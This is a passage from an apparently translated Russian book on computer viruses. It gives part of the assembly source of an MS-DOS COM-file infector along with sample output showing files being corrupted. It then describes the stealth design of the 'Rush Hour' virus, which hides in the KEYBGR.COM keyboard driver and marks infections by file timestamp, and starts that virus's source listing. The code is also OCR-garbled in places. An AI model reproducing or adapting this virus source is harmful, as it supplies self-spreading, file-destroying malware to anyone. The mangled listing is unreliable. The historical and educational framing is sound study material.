mov a1,1
pop ds
pop cs ; восстановить дату
int 21h
;*****************************************************************
; Закрыть файл.
;*****************************************************************
mov ah,3eh ; закрыть файл
int 21h
;*****************************************************************
; Восстановить прежний адрес перехода. Соответственно, вирус
; сохраняет по адресу переход, который стоял в начале
; программы-носителя вируса. В результате работоспособность
; программы-носителя удается сохранить, насколько это возможно.
; Но после обращения к памяти работа продолжается с записанным
; в "вирусе" адресом перехода. Итак, "вирус" располагается в
; оперативной памяти иначе, чем в том случае, если бы он
; копировался в программу.
;*****************************************************************
mov dx,cs:jmpbuf ; восстановить прежний адрес
; перехода
mov cs: conta,dx
hops: nop
- 180 -
call use_old
;*****************************************************************
; Продолжить выполнение программ-носителя вируса.
;*****************************************************************
cont db 0e9h ; выполнить переход
conta dw 0
mov ah,00
int 21h
;*****************************************************************
; Вновь активизировать выбранный в начале программы дисковод.
;*****************************************************************
use_old:
mov ah,0eh ; использовать прежний дисковод
mov d1,cs:drive
int 21h
;*****************************************************************
; Вновь активизировать, выбранный в начале программы путь
; доступа
;*****************************************************************
mov ah,3bh ; использовать прежний каталог
lea dx,old_path-1 ; прочитать прежний путь
; доступа
int 21h ; и наклоную черту
ret
search_order db 0ffh,1,0,2,3,0ffh,00,0ffh
pointer dw 0000 ; указатель пути доступа
counter dw 0000 ; счетчик числа поисков
disks db 0 ; номер диска
maske_com db "*.com",00 ; поиск сом-файла
maske_dir db "*",00 ; поиск каталога
maske_exe db 0ffh,0,0,0,0,0,00111111b
db 0, "????????exe", 0, 0, 0, 0
db 0, "????????com",0
maske_all db 0ffh,0,0,0,0,0,00111111b
db 0, "???????????", 0, 0, 0, 0
db 0, "????????com",0
- 181 -
buffer equ 0e000h ; отвести место
buflen equ 230h ; длина вируса !!!!
; будьте внимательны
; при изменениях !!!!
jmpbuf equ buffer+buflen ; отвести место под jmp
path db " ",0 ; первый путь доступа
drive db 0 ; актуальный дисковод
back_slash db " "
old_path db 32 dup(?) ; прежний путь доступа
code ends
end main
Характеристики программы
Если запускается эта программа, то вначале инфицируется
первый СОМ-файл в главном каталоге. В данном случае таким файлом
является файл CHKDSK.COM.
Katalog von A:\
CHKDSK COM 9947 4-22-85 12:00p
COMP COM 3751 4-22-85 12:00p
DEBUG COM 15611 4-22-85 12:00p
DISKCOMP COM 4121 4-22-85 12:00p
DISKCOPY COM 4425 4-22-85 12:00p
SORT EXE 1664 4-22-85 12:00p
SHARE EXE 8304 4-22-85 12:00p
SUBST EXE 16627 4-22-85 12:00p
8 Dateien 268288 Bytes frei
Каталог после вызова программы:
Katalog von A:\
CHKDSK COM 9947 4-22-85 12:00p
- 182 -
COMP COM 3751 4-22-85 12:00p
DEBUG COM 15611 4-22-85 12:00p
DISKCOMP COM 4121 4-22-85 12:00p
DISKCOPY COM 4425 4-22-85 12:00p
SORT EXE 1664 4-22-85 12:00p
SHARE EXE 8304 4-22-85 12:00p
SUBST EXE 16627 4-22-85 12:00p
8 Dateien 268288 Bytes frei
По записям в каталоге нельзя увидеть никаких изменений. Но
если сделать шестнадцатиричную распечатку содержимого программы
CHKDSK.COM, мы обнаружим запись байта идентификатора , который в
данном случае состоит из трех операторов NOP (HEX 90).
Шестнадцатиричная распечатка перед вызовом программы выгля-
дит так:
0100 e9 65 26 43 6F 6E 76 65 72 74 65 64 00 00 00 00
. e & C o n v e r t e d . . . .
После вызова программы получим такую шестнадцатиричную рас-
печатку:
0100 90 90 90 B8 00 00 26 00 A3 A5 02 26 A3 A7 02 26 A2
. . . . . . & . . . & . . . & .
Если такая инфицированная программа запускается, то вначале
происходит "размножение" вируса, после завершения которого даль-
нейший ход выполнения программы нельзя предсказать. После запуска
CHKDSK вначале отказывает система, что сопровождается рядом эффе-
ктов на экране дисплея. Теперь программа СОМР также заражена.
Процесс распространения инфекции продолжается до тех пор, пока не
будут заражены все СОМ-файлы. Следующий вызов программы приводит
к изменениям в каталоге:
Katalog von A:\
CHKDSK COM 9947 4-22-85 12:00p
COMP COM 3751 4-22-85 12:00p
DEBUG COM 15611 4-22-85 12:00p
- 183 -
DISKCOMР COM 4121 4-22-85 12:00p
DISKCOPY COM 4425 4-22-85 12:00p
SORT COM 1664 4-22-85 12:00p
SHARE COM 8304 4-22-85 12:00p
SUBST COM 16627 4-22-85 12:00p
8 Dateien 268288 Bytes frei
Как можно видеть, все файлы .ЕХЕ преобразованы в СОМ-файлы,
а потому также могут быть заражены вирусом. Кроме того, задание
на выполнение манипуляций, присущих данному вирусу, может разру-
шить секторы диска. После нескольких вызовов зараженных программ
содержимое каталога А: будет выглядеть таким образом:
Katalog von A:\
@'№ФI = <
0428923032 5-10-96 5:37a
_a .е_07 . f_27836194 5-20-12 12:20a
2.8 Dateien 253952 Bytes frei
Разрушение оказывается неустранимым, особенно если в главном
каталоге первым СОМ-файлом оказывается файл СOMMAND.COM. При
каждой попытке выполнить начальную загрузку происходит разрушение
системы. Естественно, что перед отказом системы инфекция поражает
еще один файл.
Вторая программа-вирус, приведенная в этой главе, составлена
Берндом Фиксом, который тоже уже долгое время занимается пробле-
мами компьютерных вирусов. Речь идет об уже многократно упоминав-
шемся вирусе "Rush Houp" ("час пик").
Назначение и структура вируса "час-пик"
Программа-вирус "час пик" написана в качестве программы для
демонстрации действия компьютерных вирусов. Она убедительно (но
достаточно безобидно для операционной системы) демонстрирует тот
вред, который может нанести вирус. Опасность вирусов демонстриру-
ется не на примере уничтожения всех файлов на жестком диске.
пользователю наглядно показывается, как коварно и незаметно может
распространяться вирус в ЭВМ. Потому при разработке программы
решающее значение имели следующие пункты:
- 184 -
1. Вирус должен был работать как можно незаметнее, т.е. без
обращений к дискетам или винчестеру, которые внимательному
(!!) пользователю кажутся нелогичными.
2. Абсолютно все работавшие прежде на ЭВМ программы должны и в
дальнейшем работать нормально.
3. Вирус должен размножаться контролируемым образом, т.е. он
должен "цепляться" не к каждой программе, не обнаруживая
своего присутствия тем, что дискета/диск начинает вдруг
заполняться.
4. Вирус должен проявить свою активность лишь спустя определен-
ное время, чтобы замаскировать источник появления вируса
(т.е. программу, "занесшую" этот вирус).
5. Активность вируса не должна была ни в коей степени повре-
дить пользователю ПЭВМ в результате уничтожения программ или
данных или в результате выполнения над ними каких-либо мани-
пуляций.
Вначале была идея создания вируса, который мог бы присоеди-
няться к каждой работоспособной программе (.COM или .ЕХЕ). Но
затем от этого отказались по следующим причинам:
1. Файлы .СОМ и .ЕХЕ различны по своей структуре. Программа-
вирус должна различать эти два типа файлов и адаптироваться
к их структуре. А это требует слишком много места в памяти
для вируса.
2. Внедрение вируса во многие файлы заметна из-за увеличившейся
потребности в памяти.
Потому пошли по такому пути:
Вирус внедряется только в одну определенную программу, необ-
ходимую ПЭВМ, т.е. в операционную систему или в ее часть. Для
таких целей был внедрен драйвер клавиатуры KEYBGR.COM. Причина
этого выбора в том, что большинство совместимых с IBM PC ПЭВМ
работают не с PC-DOS 2.0, а с (почти!) идентичной системой MS-
DOS 2.11. Этой операционной системой с соответствующим драйвером
клавиатуры была снабжена "Оливетти М24", обладающая по сравнению
с IBM PC более сложной клавиатурой. Следовательно, если запус-
кать драйвер клавиатуры на IBM, это будет чистым расточительст-
вом, поскольку собственно необходимый для этой ПЭВМ драйвер зани-
мает лишь 1543 байта, в то время как запускаемый драйвер имеет
- 185 -
длину 6459 байт. Следовательно, можно просто внедрить в драйвер
IBM программу-вирус и драйвер будет занимать примерно 2000 байт,
после чего его можно "дополнить" до "необходимых" 6459 байтов
(поместив, например, сюда текст длиной 4500 байтов о вреде ком-
пьютерных вирусов). Вирус готов!
Вирус, если он в системе, при каждом генерируемом пользова-
телем обращении к диску/винчестеру отыскивает в актуальном ката-
логе драйвер клавиатуры. Инфицированный драйвер отличается от
"чистого" по времени внесения последнего изменения в файл
KEYBGR.COM. Файл MS-DOS имеет время 9:00:03 (на дисплее это выг-
лядит как 9:00), а инфицированный файл снабжается временем вне-
сения изменения 9:00:00. Итак, это отличие можно установить лишь
при записи в каталоге без длительных обращений к дискетам.
Вся прочая важная информация дается в комментариях:
PAGE 72,132
TITL Virus "RUSH ROUR" (p) foxi, 1986
NAME VIRUS
ABSO SEGMENT AT 0
ORG 4*10H
VIDEO_INT DW 2 DUP (?) ; вектор прерывания
; VIDEO
ORG 4*21H
DOS_INT DW 2 DUP (?) ; DOS -"-
ORG 4*21H
ERROR_INT DW 2 DUP (?) ; ERROR -"-
ENDS
CODE SEGMENT
ASSUME CS:CODE, DS:CODE, ES:CODE
ORG 05CH
FSB LABEL BYTE
DRIVE DB ?
FSPEC DB 11 DUP(' ') ; имя файла
ORG 6CH
FSIZE DW 2 DUP (?)
FDATE DW ? ; дата внесения
- 186 -
; последней записи
FTIME DW ? ; время -"- -"-